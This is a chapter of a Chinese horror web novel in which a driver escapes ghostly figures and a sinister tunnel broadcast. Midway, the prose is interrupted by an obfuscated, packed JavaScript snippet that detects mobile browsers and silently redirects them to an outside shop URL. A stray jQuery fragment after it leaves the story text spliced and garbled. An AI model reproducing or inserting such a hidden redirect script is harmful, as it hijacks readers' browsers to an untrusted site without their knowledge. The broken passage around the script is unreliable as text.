姜迟把车停在离那堆翻车五十米的地方。
三辆大车翻着叠在一起，把隧道塞得只剩边角的一点缝。缝那边，十几盏马灯晃着光，人影绰绰。
她按了两声喇叭。
喇叭在隧道里炸出两声闷响，震得耳膜疼。这是隧道里第一次有动静，声音撞在水泥壁上，来回弹，弹了三四个回合才散。
人群动了。
一个老头举着马灯朝她走来，一边走一边挥手：“停车！前面塌方了！过不去的！”
姜迟没开车窗，也没熄火。
老头走到车窗边上，拍玻璃：“师傅，停车吧！前头真过不去了！我们都堵在这半天了！”
姜迟隔着玻璃看他。
老头的马灯举得高高的，灯光从上往下照，把他自己的脸照得一片惨白。
他身后，更多的人围了上来，男女老少，一个挨一个，全都贴着车窗，一张张脸往里看。
“师傅，停吧。”一个抱孩子的女人说，“孩子冻得不行了。”
“停吧停吧。”人群七嘴八舌，“下去烤烤火，等路通了再走。”
姜迟的目光越过他们，看向那三辆翻倒的车。
翻车的样式很杂，一辆大货车，一辆客车，还有一辆是拖拉机。
三辆车翻的姿态都很整齐，侧翻，车轮朝天。车轮不转，车身没有损伤的痕迹，漆色很亮，亮得不像在隧道里翻滚过。
太干净了。翻车现场应该是碎的，玻璃的碴，漏油的痕，变形的铁皮。这些东西一样都没有。
那三辆车是摆上去的。
“师傅！”拍玻璃的声音急了，“你倒是说句话啊！”
姜迟终于有了反应。她伸手，把近光灯关了。
隧道里霎时黑了一多半，只剩她车里仪表盘的微光。车外的马灯光从车窗透进来，一张一张人脸浮在黑暗里，还在拍，还在喊。
然后她打开了雾灯。
雾灯的光很低，贴着地面扫出去，扫过那群人的脚。
姜迟看清了他们的脚，呼吸停了半秒。
那些人的脚都是反的。脚尖朝后，脚跟朝前，整个脚像是被人拧了一百八十度。
他们走路的样子看着正常，可灯光贴着地皮一照，那种正常就碎了。
那不是走路，那是飘。脚尖点着地，借着拍打车窗的掩护，往前蹭。
抱孩子的女人也在往前蹭，孩子趴在她肩上，一双眼睛穿过车窗，直直地盯着姜迟，孩子的脚尖，同样朝后。
姜迟把雾灯的光压低了一寸。
光贴着地面，扫过那三辆翻车的底下。
翻车底下是空的。
没有底盘，没有油箱，没有传动轴，车壳子就那么摆在地上，底下垫着一掌高的黑影。
那黑影在动，像毯子，像头发，托着三辆空壳车，一拱一拱。
人群还在拍窗，可她的眼睛已经不看他们了。她看的是那三辆翻车中间留出的那条缝。
缝很窄，堪堪够一辆车侧身挤过去。缝里黑漆漆的，可雾灯光扫过去的时候，她看见缝的深处有反光。
反光的纹路是圆的，一圈一圈。
跟她手里那枚硬币的花纹，一模一样。
“让开。”她忽然开口了。
拍窗声停了半拍。
“我说，让开。”姜迟的声音不高，“我知道你们不是人，你们也知道我知道。我不停车，你们拦不住我。让开一条道，咱们各走各的。”
车窗外静了一瞬。
紧接着，抱孩子的女人笑了。她一笑，周围所有人都跟着笑，笑声在隧道里嗡嗡地撞。
孩子的脸还是面无表情，可那孩子的嘴裂开了，一直裂到耳根。
“停车。”女人的声音变了，跟隧道口那个守隧道的一个调子，“这是规矩。听到广播，立即停车。停了车，跟我们站在一起，等下一辆。”
“第四条是假规矩。”姜迟说，“漆是新的。”
笑声停了。
黑暗里，十几盏马灯同时举高，灯光从四面八方照过来，把驾驶室照得雪亮。
姜迟眯起眼，看见那群人开始往车身上爬，爬上车顶，趴在引擎盖上，一张张脸倒挂着从挡风玻璃上垂下来。
“停车。”他们齐声说，“或者，我们进来。”
姜迟挂上了挡。
她没去管挡风玻璃上那些倒挂的脸，她盯着那条缝，油门一点一点往下压。
车往前蹭。
车头离人群越来越近，最近的一张脸几乎贴上了玻璃。姜迟的脚踩在油门上，又往下压了一寸。
车头碰到人影的那一瞬间，她闭了一下眼。
没有撞击感。车头穿过人影，像穿过一层凉雾。
车顶上传来窸窸窣窣的声音，那些趴着的东西散了，马灯一盏一盏灭了，三辆空壳车无声无息地退进了隧道壁里，像被墙吸了进去。
路让开了。
那条缝就在眼前，姜迟把车对准，车头擦着隧道壁蹭进去。
后视镜在水泥壁上刮出一声刺耳的响，她没管，车身一点一点往里挤。
挤到一半，隧道里的喇叭又响了。
还是那个女声，平板，可这次说的不是塌方。
“各位司机朋友请注意。”广播说，“根据本路段规定，现在开始播报通行顺序。请以下人员按顺序通行，违者后果自负。”
姜迟的心提了起来。
“第一名，姜迟。”
广播念出了她的名字。
念完，喇叭里传出一声轻笑，那笑声不是女声的，是很多声音叠在一起，男女老少，笑得隧道壁都在嗡嗡响。
“恭喜姜师傅，排在第一位。”广播说，“第一位的好处是，第一个死。”
车厢里，婴儿的哭声突然炸响。
紧接着是老太太的声音，老太太在喊：“别报我的名！别报我的名！”
姜迟从后视镜里看向隔断。隔断上方的缝隙里，黑暗中有几双眼睛在反光。
广播不理会车厢里的哭喊，慢条斯理地继续：
“第二名，王秀兰。”
老太太的哭喊戛然而止。
“第三名。”广播拖长了调子，像是在享受这一刻，“第三名，姜。”
姜迟的手猛地一抖。
“姜什么？”广播笑了，“姜禾。”
姜禾。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17947445|214093||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>这个名字砸进驾驶室的瞬间，姜迟的脑子里一片空白。
她不认识这个名字。她敢确定，她活了二十六年，从来没听过这两个字。
可这个名字一响起来，她的心口像被什么东西狠狠剜了一刀，疼得她眼前发黑。
更不对劲的是备注栏。
那行小字疯狂地往外冒，一行叠着一行，乱得看不清：
【别看名单】
【开你的车】
【别听】
【姜迟开你的车】
落款那个“姐姐”，第一次出现了不是签名的字迹，是潦草的、混乱的笔画，像是写字的人正在发抖。
隧道里的广播还在笑。
“姜禾，姜禾。”它一遍遍念着这个名字，“十九年了，这个名字终于又上路了。姜师傅，你车里可真热闹啊。司机，乘客，还有一个藏了十九年的。”
“死亡顺序即刻生效。”
隧道深处，亮起了一盏灯。
不是马灯，是一盏顶灯，惨白的，从隧道顶上一路排过去，一盏一盏往前亮，照出前方笔直的路。路面上一层水，水光倒映着顶灯，像一条亮闪闪的河。
路的尽头，亮起了一盏红灯。
红灯的形状是个手掌。
广播说：“按顺序来，姜迟，你先走。”
姜迟盯着那盏红灯，又看了一眼疯狂闪烁的备注栏。
死亡顺序，第一个是姜迟。
她想起广播自己说过的话。顺序可以播报，可这东西报的是“通行顺序”。通行的顺序，谁规定必须按车道走？
她低头看了一眼方向盘。
变道。
这条路没有分道线，整条隧道都是她的车道。可规则说的是顺序，没说顺序钉在哪条线上。
姜迟深吸一口气，猛打方向盘。
车头向右横移，车身斜着切进右边的隧道壁阴影里，然后又猛地打回，斜着切回左边。
她在隧道里走出了一条曲折的路线，车头压着水面的反光，来回切。
广播的笑声停了。
“违规变道。”它的声音第一次急了，“姜迟！你违规！顺序无效！顺序。”
“你说按顺序通行。”姜迟盯着前方，脚下油门踩死，“你没说按什么顺序。我先走，我现在就走。”
车朝着那盏红灯手掌冲过去。
离红灯不到十米的时候，红灯灭了。隧道尽头的黑暗裂开一条缝，缝里有光，是外头的光，是月亮的光。
出口。
车身擦着红灯原来的位置冲过，冲进了那条缝里。
刺眼的白光淹没过来，姜迟下意识地闭眼，再睁开时，隧道已经甩在了身后。
车停在一片荒地上。前方不远处，青岭七号仓的废墟立在月光下，那半截砖墙，那块烧变形的铁牌，都还在。
看仓的老头拄着扁担，站在废墟边上，像是已经等了很久。
而车厢里，哭声停了。
安静了几秒之后，老太太的声音响起来，抖得不成调：
“闺女，刚才广播里那个名，姜禾。”老太太说，“那是谁啊？为啥我听见这名字，我这心口疼得受不了啊。”